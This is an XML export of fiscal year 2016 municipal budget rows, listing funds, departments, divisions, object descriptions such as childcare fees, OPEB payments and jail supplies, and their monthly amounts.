<row _id="22022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555510.0</object><object_description>1450 OCEAN</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="22023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4077</total></row>
<row _id="22024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6863</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6863</total></row>
<row _id="22025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>361945</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>361945</total></row>
<row _id="22026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-15705</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15705</total></row>
<row _id="22027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-18567</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18567</total></row>
<row _id="22028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>76242</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76242</total></row>
<row _id="22029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555061.0</object><object_description>PROF SVCS - LUCE MONITORING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103836</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103836</total></row>
<row _id="22030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>198036</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>198036</total></row>
<row _id="22031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3967</total></row>
<row _id="22032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-4527</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4527</total></row>
<row _id="22033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="22034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3192</total></row>
<row _id="22035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3581</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3581</total></row>
<row _id="22036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3226</total></row>
<row _id="22037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544060.0</object><object_description>JAIL SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>71107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>71107</total></row>
<row _id="22038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566990.0</object><object_description>CRIME PREVENTION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>41183</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41183</total></row>
<row _id="22039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>577830.0</object><object_description>WATER CONSERVATION REBATES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="22044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-34717</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34717</total></row>
<row _id="22045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409005.0</object><object_description>CHILDCARE-JANUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="22046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-12830</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12830</total></row>
<row _id="22047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>87322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87322</total></row>
<row _id="22048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6054</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6054</total></row>
<row _id="22050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39265</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39265</total></row>
<row _id="22051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523120.0</object><object_description>SOLAR MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="22052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14580</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14580</total></row>
<row _id="22053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-22000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22000</total></row>
<row _id="22054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561180.0</object><object_description>HOMELESS UNIT-DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>66312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66312</total></row>
<row _id="22055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569410.0</object><object_description>CITY GARAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>566583.0</object><object_description>OXYGEN DELIVERY</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-CAO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10000</total></row>
<row _id="22060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>409210.0</object><object_description>FIRE HIGH RISE INSPECTIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-129233</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-129233</total></row>
<row _id="22061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402166.0</object><object_description>FILM / PHOTO PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5000</total></row>
<row _id="22062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570081.0</object><object_description>TRANSFER OUT-WTR L-INCOME DISC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="22063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-137917</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-137917</total></row>
<row _id="22064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-57684</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-57684</total></row>
<row _id="22065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="22066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409007.0</object><object_description>CHILDCARE-MARCH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="22067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-152000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-152000</total></row>
<row _id="22068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>162413</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>162413</total></row>
<row _id="22069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>110515</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110515</total></row>
<row _id="22070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7418</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7418</total></row>
<row _id="22071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>825</total></row>
